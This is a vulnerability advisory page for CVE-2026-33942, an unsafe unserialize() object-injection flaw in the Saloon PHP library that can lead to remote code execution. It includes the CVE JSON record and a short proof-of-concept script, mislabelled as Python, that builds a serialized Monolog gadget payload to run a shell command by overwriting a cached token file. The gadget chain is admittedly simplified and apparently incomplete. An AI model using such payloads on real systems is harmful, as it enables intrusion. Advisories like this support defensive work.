Security Vulnerability Report
中文
CVE-2026-33942 CVSS 9.8 CRITICAL

CVE-2026-33942

Published: 2026-03-26 01:16:28
Last Modified: 2026-03-26 20:42:32

Description

Saloon is a PHP library that gives users tools to build API integrations and SDKs. Versions prior to 4.0.0 used PHP's unserialize() in AccessTokenAuthenticator::unserialize() to restore OAuth token state from cache or storage, with allowed_classes => true. An attacker who can control the serialized string (e.g. by overwriting a cached token file or via another injection) can supply a serialized "gadget" object. When unserialize() runs, PHP instantiates that object and runs its magic methods (__wakeup, __destruct, etc.), leading to object injection. In environments with common dependencies (e.g. Monolog), this can be chained to remote code execution (RCE). The fix in version 4.0.0 removes PHP serialization from the AccessTokenAuthenticator class requiring users to store and resolve the authenticator manually.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:saloon:saloon:*:*:*:*:*:*:*:* - VULNERABLE
Saloon < 4.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // PoC for CVE-2026-33942 - Demonstration of payload generation // This script generates a malicious serialized object targeting a hypothetical vulnerable chain (e.g., Monolog RCE1) namespace Monolog\Handler; class SyslogUdpHandler { protected $socket; function __construct($socket) { $this->socket = $socket; } } namespace { // Payload to execute shell command (e.g., touch /tmp/pwned) $cmd = 'touch /tmp/pwned'; // Example Gadget Chain setup (Simplified for illustration) // In a real scenario, this requires specific library versions (e.g., Monolog) $object = new \Monolog\Handler\SyslogUdpHandler($cmd); // Generate the serialized payload $payload = serialize($object); echo "Generated Payload:\n"; echo $payload . "\n"; // An attacker would then overwrite the cache token file with this $payload string. } ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33942", "sourceIdentifier": "[email protected]", "published": "2026-03-26T01:16:28.040", "lastModified": "2026-03-26T20:42:31.563", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Saloon is a PHP library that gives users tools to build API integrations and SDKs. Versions prior to 4.0.0 used PHP's unserialize() in AccessTokenAuthenticator::unserialize() to restore OAuth token state from cache or storage, with allowed_classes => true. An attacker who can control the serialized string (e.g. by overwriting a cached token file or via another injection) can supply a serialized \"gadget\" object. When unserialize() runs, PHP instantiates that object and runs its magic methods (__wakeup, __destruct, etc.), leading to object injection. In environments with common dependencies (e.g. Monolog), this can be chained to remote code execution (RCE). The fix in version 4.0.0 removes PHP serialization from the AccessTokenAuthenticator class requiring users to store and resolve the authenticator manually."}, {"lang": "es", "value": "Saloon es una biblioteca PHP que proporciona a los usuarios herramientas para construir integraciones de API y SDKs. Las versiones anteriores a la 4.0.0 utilizaban la función unserialize() de PHP en AccessTokenAuthenticator::unserialize() para restaurar el estado del token OAuth desde la caché o el almacenamiento, con allowed_classes =&gt; true. Un atacante que puede controlar la cadena serializada (por ejemplo, sobrescribiendo un archivo de token en caché o mediante otra inyección) puede proporcionar un objeto 'gadget' serializado. Cuando se ejecuta unserialize(), PHP instancia ese objeto y ejecuta sus métodos mágicos (__wakeup, __destruct, etc.), lo que lleva a la inyección de objetos. En entornos con dependencias comunes (por ejemplo, Monolog), esto puede encadenarse a la ejecución remota de código (RCE). La corrección en la versión 4.0.0 elimina la serialización de PHP de la clase AccessTokenAuthenticator, lo que requiere que los usuarios almacenen y resuelvan el autenticador manualmente."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:saloon:saloon:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.0.0", "matchCriteriaId": "2DA20E08-DBB0-4ACD-BED9-550F3ED97E3D"}]}]}], "references": [{"url": "https://docs.saloon.dev/upgrade/upgrading-from-v3-to-v4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/saloonphp/saloon/security/advisories/GHSA-rf88-776r-rcq9", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}